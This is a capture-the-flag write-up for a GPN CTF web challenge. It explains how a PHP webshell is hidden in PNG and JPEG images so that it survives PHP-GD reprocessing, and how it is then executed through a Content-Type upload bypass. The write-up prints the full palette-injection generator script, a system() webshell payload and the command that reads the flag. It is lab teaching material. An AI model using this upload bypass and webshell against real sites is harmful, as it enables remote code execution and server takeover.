You have technicians here, making noise, they are not artists because no one has submitted any art yet. Which is exactly what you need to do: submit a banger image and win the flag. Sadly, the image contest doesn’t end until the end of the CTF, so you will need to expedite the process.
Category: Web
Solver: Liekedaeler
Flag: GPNCTF{WhAt_a_B4N63R_I_dEc14R3_yOU_wiNn3r!}
Scenario
This is a web challenge without source code, so we’ll have to approach it blindly. So let’s take a quick look at the website.
The website only really has one functionality: uploading images (png, jpeg, gif). After doing that, we can find our image in the gallery. Uploading multiple images simply replaces previous ones.
Analysis
We are clearly meant to exploit the file upload functionality. First things first, let’s figure out what kind of server and language the website is running on. There are two ways we can do that in this case - either looking at response headers or testing different file extensions. I just checked the response headers:
$ curl -I https://portside-of-unstoppable-success.gpn23.ctf.kitctf.de
HTTP/1.1 200 OK
Host: portside-of-unstoppable-success.gpn23.ctf.kitctf.de
Date: Mon, 23 Jun 2025 16:21:17 GMT
Connection: close
X-Powered-By: PHP/8.4.8
Content-type: text/html; charset=UTF-8
Now PHP is good news. If it was Python for example, we couldn’t simply upload a Python file and make the server execute that. With PHP however, that’s possible. And we can even embed our PHP into other file types, as long as we can convince the server to treat it as a PHP file in the end.
Next up, we fiddle around with the upload. We can notice our uploaded file always ends up in /uploads/7308.<file_extension>
. Simply uploading a PHP file returns an error: Invalid file type. Your provided file has type: text/plain
. Now the question is, how this is identified. Let’s see if magic file headers are used. For that I’ll prepend AAAA
to my php file and hexedit that to the bytes FF D8 FF E0
(see here). This should mask the php file as a jpg while still retaining it’s file extension and working php content. When I upload that, something interesting happens:
Fatal error: Uncaught ErrorException: imagecreatefromjpeg(): gd-jpeg: JPEG library reports unrecoverable error: JPEG datastream contains no image in /opt/server/index.php:107 Stack trace: #0 [internal function]: {closure:/opt/server/index.php:7}(2, 'imagecreatefrom...', '/opt/server/ind...', 107) #1 /opt/server/index.php(107): imagecreatefromjpeg('/tmp/php9ogb6gj...') #2 {main} thrown in /opt/server/index.php on line 107
We now know that the images are being processed by gd-jpeg which is part of PHP-GD. In this case, it is using imagecreatefromjpeg()
because we uploaded something that looks like a jpeg. Obviously it wasn’t a jpeg, which is why this crashed. If we want to know the version of gd-jpeg, we can upload a jpg and download it again. This puts it through the processing. If we look at the resulting image using exiftool
, we can see the following line:
Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality.
By quickly googling ‘gd-jpeg injection’ we can confirm that it should be possible to inject PHP into jpeg files that will survive the processing. But in order for that to have any effect, we still need to figure out how to upload a .php
file. The server will most likely execute anything that is a .php
as PHP file, but won’t execute any PHP in a .jpg
file.
Let’s take another look at the upload request:
POST / HTTP/1.1
Host: portside-of-unstoppable-success.gpn23.ctf.kitctf.de
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------306837127035478617783759252639
Content-Length: 194649
Origin: https://portside-of-unstoppable-success.gpn23.ctf.kitctf.de
Referer: https://portside-of-unstoppable-success.gpn23.ctf.kitctf.de/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
-----------------------------306837127035478617783759252639
Content-Disposition: form-data; name="file-upload"; filename="phpinfo3_cat.jpg"
Content-Type: image/jpeg
<jpg image>
We can try two things:
- change the file extension to
.php
- change the Content-Type to something like
image/php
When we try uploading a jpg as a cat.php
, it is saved as 7308.jpeg
. So that didn’t work. However, changing the Content-Type to image/php
, it is saved as 7308.php
. Even better, it throws an error - indicating that the server tried executing it as PHP:
Parse error: syntax error, unexpected character 0x1D in /opt/server/uploads/7308.php on line 639
With that, we have everything we need to build an exploit.
Exploit
There are actually 2 ways we can do this. Either using PNGs or JPEGs.
PNG - The easy way
Exploiting PNGs passed throws PHP-GD was very well documented by synacktiv in this article.
All we need to do is grab their gen.php script:
<?php
if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");
$_payload = $argv[1];
$output = $argv[2];
while (strlen($_payload) % 3 != 0) { $_payload.=" "; }
$_pay_len=strlen($_payload);
if ($_pay_len > 256*3){
echo "FATAL: The payload is too long. Exiting...";
exit();
}
if($_pay_len %3 != 0){
echo "FATAL: The payload isn't divisible by 3. Exiting...";
exit();
}
$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,$output);
Then run php gen.php '<?php system($_GET["cmd"]);?>' webshell.php
, upload that using our image/php
Content-Type and access {base_url}/uploads/7308.php?cmd=cat%20/flag
to get the flag.
What happened in the background is that our payload was injected into the PLTE chunk of a png. This is the ‘palette’ chunk which is regarded as a critical chunk and therefore cannot be removed by any compression. The server then executed the file as a PHP script, which in turn looked for <?php
and executed anything within - which is our webshell.
JPEG - The hard way
Next up, we’ll look at how we can achieve something similar using jpeg files. This is a bit more finicky. When googling ‘gd-jpeg injection’ or something similar you’ll stumble upon https://github.com/dlegs/php-jpeg-injector
and https://github.com/cdw1p/PHP-GD-Image-Injector
. We’ll be using both of these. The exploitation steps are detailled here, at least somewhat. It is a bit all over the place, so I’ll describe what I ended up doing.
First, we need to create a base file. Simply taking a jpg from somewhere does not seem to work. Instead, you take your random jpg file and run it through gd-jpeg once by running php gd.php cat.jpg cat-gd.jpg
.
Now, you can inject PHP code into the file, like this: python gd-jpeg.py cat-gd.jpg '<?phpinfo()?>' phpinfo_cat.jpg
. As the article states, the payload seems to be limited to 13 characters. Hence, it is not possible to use a longer payload. As the flag is also prevent in the env, this is sufficient for our use-case. If you try something longer, even just adding a ;
, you’ll get an error like:
Parse error: syntax error, unexpected character 0x10 in /opt/server/uploads/7308.php on line 10
I’m not exactly sure why that is the case. If you happen to find out, please do let me know (@liekedaeler on Discord).
Further Notes
Theoretically, the website claims that GIFs would be allowed. But unfortunately that’s not actually the case. The author shared the source code after the CTF, so we can take a closer look:
if ($mimeType == 'image/jpeg' || $mimeType == 'image/jpg') {
$image = @imagecreatefromjpeg($_FILES['file-upload']['tmp_name']);
} else if ($mimeType == 'image/png') {
$image = @imagecreatefrompng($_FILES['file-upload']['tmp_name']);
}
Indeed, GIFs are not handled. If we were allowed to upload GIFs, we could follow this article to do a similar attack.